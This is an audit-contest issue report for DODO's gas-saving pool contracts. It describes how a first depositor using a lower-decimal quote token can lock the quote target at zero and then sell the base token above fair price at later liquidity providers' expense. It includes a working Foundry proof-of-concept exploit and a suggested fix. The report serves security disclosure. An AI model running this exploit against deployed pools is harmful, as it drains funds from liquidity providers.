sherlock-audit / 2023-12-dodo-gsp-judging

6 stars 5 forks source link

hash - lower decimal token as quote asset allows initial depositor to set QUOTE_TARGET to 0 always #128

Closed sherlock-admin closed 6 months ago

sherlock-admin commented 6 months ago

hash

high

lower decimal token as quote asset allows initial depositor to set QUOTE_TARGET to 0 always

Summary

Lower decimal token as quote asset can cause QUOTE_TARGET to be 0 always

Vulnerability Detail

When totalSupply is 0, _QUOTE_TARGET_ is calculated asuint112(DecimalMath.mulFloor(shares, _I_)).

        if (totalSupply == 0) {

            shares = quoteBalance < DecimalMath.mulFloor(baseBalance, _I_)
                ? DecimalMath.divFloor(quoteBalance, _I_)
                : baseBalance;

            _BASE_TARGET_ = uint112(shares);
            _QUOTE_TARGET_ = uint112(DecimalMath.mulFloor(shares, _I_));
        } else if (baseReserve > 0 && quoteReserve > 0) {

For all further mints, the _QUOTE_TARGET_ is updatd as _QUOTE_TARGET_ = _QUOTE_TARGET_ + _QUOTE_TARGET_ * mintRatio

Hence if the initial _QUOTE_TARGET_ is 0, it will continue to remain 0 on further share mints. By passing 1001 tokens, the initial _QUOTE_TARGET_ can be made 0 if the quote token is lower decimaled such that 1001(just 1001, not 1001* 10 ** token decimals) base token equals 0 quote token. Such a share mint will pass since the only requirement is that the minimum amount of shares minted should be > 1000.

An attacker can make use of this to obtain a higher price for base token in trade effectively stealing quote assets from second LP / subsequent LP's as follows:

  1. Sell 0 amount of quote token. This will make r_state == above_one
  2. Next sell base. For this sell, the quadratic target calculation of base target will use (quote reserve - quote target == quote reserve since quote target is 0) as delta. This will cause the ratio of (base target / base reserve) to be bigger than actual.

Amount earna-ble couldn't be quantified due to time constraint but increases with k. With k == 0.0005 (used in test file), sell price in obtained was 1.0005 (fair price == 1) and with k == 0.05 it increased to 1.05

POC Code

Add the following test to test/GPSTrader.t.sol after importing DODOMath and run forge test --mt testHash_quoteTargetIs0

   function testHash_quoteTargetIs0() public {
        GSP gspTest = new GSP();
        mockBaseToken = new MockERC20("mockBaseToken", "mockBaseToken", 18);

        mockQuoteToken = new MockERC20("mockQuoteToken", "mockQuoteToken", 6);

        gspTest.init(
            MAINTAINER,
            address(mockBaseToken),
            address(mockQuoteToken),
            0,
            0,
            1e6,
            500000000000000,
            false
        );

        address attacker = address(123);
        mockBaseToken.mint(attacker, type(uint256).max);
        mockQuoteToken.mint(attacker, type(uint256).max);

        vm.startPrank(attacker);
        mockBaseToken.transfer(address(gspTest), 1e12-1);
        mockQuoteToken.transfer(address(gspTest), 0);
        gspTest.buyShares(attacker);

        assert(gspTest._QUOTE_TARGET_() == 0 && gspTest._BASE_TARGET_() ==  1e12-1);

        // donate 1 quote token so that next deposit doens't revert and the ratio is maintained
        mockQuoteToken.transfer(address(gspTest), 1);
        gspTest.sync();
        vm.stopPrank();

        address user = address(1234);
        mockBaseToken.mint(user, type(uint256).max);
        mockQuoteToken.mint(user, type(uint256).max);

        vm.startPrank(user);
        mockBaseToken.transfer(address(gspTest), 1e18);
        mockQuoteToken.transfer(address(gspTest), 1e6);
        gspTest.buyShares(attacker);
        vm.stopPrank();

        // now the attacker can make use of the large (reserve - target) to trade at a higher price
        vm.startPrank(attacker);

        // first call sellquotetoken to make r above one
        gspTest.sellQuote(attacker);
        // the calculated base target will be higher as the required amount to reach equillibrium for quote asset is 2e18 - 4000. Hence the attacker can sellBase at a price > 1 and obtain 2e18-4000 quoteTokens
        address receiver = address(12345);
        uint newTargetBaseAmount = DODOMath._SolveQuadraticFunctionForTarget(1e18+1e12-1,1e6 + 1 - 0,1e30,
            500000000000000);
        uint sellAmount = newTargetBaseAmount - (1e18+1e12-1);
        mockBaseToken.transfer(address(gspTest),sellAmount);
        uint receivedAmount = gspTest.sellBase(receiver);

        uint sellPrice  = receivedAmount * 1e18 / sellAmount;
       assert(sellPrice > 1e6); // sell price == 1000499
    }

Impact

First depositor can cause _QUOTE_TARGET_ to remain 0 and sell base asset at a higher price. In DSPFactory, pools can be created by any user with any ordering of base/quote assets. Depending on how these pools are integrated to the UI for LP's to provide liquidity such an attack might be pullable by the attacker himself.

Code Snippet

https://github.com/sherlock-audit/2023-12-dodo-gsp/blob/af43d39f6a89e5084843e196fc0185abffe6304d/dodo-gassaving-pool/contracts/GasSavingPool/impl/GSPFunding.sol#L56-L65

Tool used

Manual Review

Recommendation

Check whether _QUOTE_TARGET_ > 0 for initial mint or handle the token ordering for pools.

Duplicate of #48